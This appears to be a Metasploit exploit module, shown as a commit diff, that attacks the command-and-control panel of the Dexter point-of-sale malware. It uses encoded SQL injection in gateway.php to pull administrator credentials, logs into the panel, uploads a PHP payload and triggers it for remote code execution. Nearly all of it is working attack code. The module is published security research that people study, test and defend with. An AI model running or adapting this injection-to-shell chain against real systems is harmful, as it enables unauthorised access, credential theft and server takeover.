1
+ ##
2
+ # This module requires Metasploit: http//metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+
8
+ class Metasploit3 < Msf ::Exploit ::Remote
9
+ Rank = ExcellentRanking
10
+
11
+ include Msf ::Exploit ::Remote ::HttpClient
12
+
13
+ def initialize ( info = { } )
14
+ super ( update_info ( info ,
15
+ 'Name' => "Dexter (CasinoLoader) SQL Injection" ,
16
+ 'Description' => %q{
17
+ This module exploits a vulnerability found in the command and control panel
18
+ used to control Dexter (Point of Sale malware). This is done by accessing the
19
+ PHP page used by bots to report in (gateway.php) which does not sanitize input.
20
+ Input is encrypted and encoded, but the key is supplied by the bot connecting.
21
+ The 'page' parameter is used in this case. The command and control panel designates
22
+ a location to upload files, and can be used as a reliable location to write a
23
+ PHP shell. Authentication is not needed to exploit this vulnerability.
24
+ } ,
25
+ 'License' => MSF_LICENSE ,
26
+ 'Author' =>
27
+ [
28
+ 'bwall (Brian Wallace) <bwallace[at]cylance.com>'
29
+ ] ,
30
+ 'References' =>
31
+ [
32
+ [
33
+ "URL" , "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html"
34
+ ]
35
+ ] ,
36
+ 'Payload' =>
37
+ {
38
+ 'BadChars' => "\x00 "
39
+ } ,
40
+ 'Platform' => [ 'php' ] ,
41
+ 'Arch' => ARCH_PHP ,
42
+ 'Targets' =>
43
+ [
44
+ [ 'CasinoLoader gateway.php on Windows' , { } ] ,
45
+ [ 'CasinoLoader gateway.php on Linux' , { } ]
46
+ ] ,
47
+ 'Privileged' => false ,
48
+ 'DisclosureDate' => "Feb 08 2014"
49
+ ) )
50
+
51
+ register_options (
52
+ [
53
+ OptString . new ( 'TARGETURI' , [ true , 'The path to the CasinoLoader root folder' , '/' ] ) ,
54
+ OptString . new ( 'TARGETGATEWAY' , [ true , 'Name of bot gateway page' , 'gateway.php' ] ) ,
55
+ OptString . new ( 'TARGETLOGIN' , [ true , 'Name of panel login page' , 'index.php' ] ) ,
56
+ OptString . new ( 'TARGETUPLOAD' , [ true , 'Name of panel upload page' , 'upload.php' ] ) ,
57
+ OptString . new ( 'TARGETDATABASEUSERTABLE' , [ true , 'Table in database that holds admin data' , 'users' ] )
58
+ ] , self . class )
59
+ end
60
+
61
+ def gateway
62
+ return normalize_uri ( target_uri . path , datastore [ 'TARGETGATEWAY' ] )
63
+ end
64
+
65
+ def login
66
+ return normalize_uri ( target_uri . path , datastore [ 'TARGETLOGIN' ] )
67
+ end
68
+
69
+ def upload
70
+ return normalize_uri ( target_uri . path , datastore [ 'TARGETUPLOAD' ] )
71
+ end
72
+
73
+ def database_get_field ( table , column , row )
74
+ res = send_request_cgi ( {
75
+ 'method' => 'POST' ,
76
+ 'uri' => gateway ,
77
+ 'vars_post' => {
78
+ 'val' => 'AA==' ,
79
+ 'page' => Rex ::Text . encode_base64 ( "' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + row . to_s + " -- --" )
80
+ }
81
+ } )
82
+ if res and res . headers . has_key? ( 'Set-Cookie' ) and res . headers [ 'Set-Cookie' ] . start_with? ( 'response=' )
83
+ return Rex ::Text . decode_base64 ( URI . unescape ( res . headers [ 'Set-Cookie' ] [ 'response=' . length ..-1 ] ) ) [ 1 ..-3 ]
84
+ end
85
+ return false
86
+ end
87
+
88
+ def check
89
+ testvalue = rand_text_alpha ( 9 )
90
+ res = send_request_cgi ( {
91
+ 'method' => 'POST' ,
92
+ 'uri' => gateway ,
93
+ 'vars_post' => {
94
+ 'val' => 'AA==' ,
95
+ 'page' => Rex ::Text . encode_base64 ( "' AND 1=2 UNION ALL SELECT 1,'" + testvalue + "',3 -- --" )
96
+ }
97
+ } )
98
+
99
+ if res and res . headers . has_key? ( 'Set-Cookie' ) and res . headers [ 'Set-Cookie' ] . start_with? ( 'response=' ) and
100
+ Rex ::Text . decode_base64 ( URI . unescape ( res . headers [ 'Set-Cookie' ] [ 'response=' . length ..-1 ] ) ) == '$' + testvalue + ';#' and database_get_field ( 'users' , 'name' , 0 ) != false
101
+ return Exploit ::CheckCode ::Vulnerable
102
+ end
103
+ return Exploit ::CheckCode ::Safe
104
+ end
105
+
106
+
107
+ def exploit
108
+ payload_name = rand_text_alpha ( rand ( 10 ) + 5 ) + '.php'
109
+
110
+ print_status ( "#{ peer } - Using SQL injection to acquire credentials" )
111
+ user = database_get_field ( 'users' , 'name' , 0 )
112
+ if user == false
113
+ print_error ( "#{ peer } - Failed to acquire administrator username" )
114
+ return
115
+ end
116
+
117
+ password = database_get_field ( 'users' , 'password' , 0 )
118
+ if password == false
119
+ print_error ( "#{ peer } - Failed to acquire administrator password" )
120
+ end
121
+
122
+ print_status ( "#{ peer } - Using #{ user } :#{ password } " )
123
+
124
+ res = send_request_cgi ( {
125
+ 'method' => 'POST' ,
126
+ 'uri' => login ,
127
+ 'vars_post' => {
128
+ 'submit' => '1' ,
129
+ 'username' => user ,
130
+ 'password' => password
131
+ }
132
+ } )
133
+
134
+ login_cookie = ""
135
+
136
+ if res and res . headers . has_key? ( 'Location' )
137
+ login_cookie = res . get_cookies
138
+ print_status ( "#{ peer } - Login successful" )
139
+ else
140
+ print_error ( "#{ peer } - Failed to log in" )
141
+ return
142
+ end
143
+
144
+ data = Rex ::MIME ::Message . new
145
+ data . add_part ( "MAX_FILE_SIZE" , nil , nil , 'form-data; name="MAX_FILE_SIZE"' )
146
+ data . add_part ( "<?php #{ payload . encoded } ?>" , nil , nil , "form-data; name=\" uploadedfile\" ; filename=\" #{ payload_name } \" " )
147
+ post_data = data . to_s
148
+
149
+ print_status ( "#{ peer } - Sending PHP payload (#{ payload_name } )" )
150
+ res = send_request_cgi ( {
151
+ 'method' => 'POST' ,
152
+ 'uri' => upload ,
153
+ 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
154
+ 'cookie' => login_cookie ,
155
+ 'data' => post_data
156
+ } )
157
+
158
+ if res and res . code == 200 and res . body =~ /a href="upload.php\? del=(.*)">/
159
+ path = $1
160
+ if target . name =~ /Linux/
161
+ path = path . sub! "\\ " , "/"
162
+ end
163
+ target_path = normalize_uri ( target_uri . path , path )
164
+ print_status ( "#{ peer } - Requesting: #{ target_path } " )
165
+ send_request_raw ( { 'uri' => normalize_uri ( target_path ) } )
166
+ handler
167
+ else
168
+ print_error ( "#{ peer } - Failed to upload file" )
169
+ return
170
+ end
171
+ end
172
+ end
0 commit comments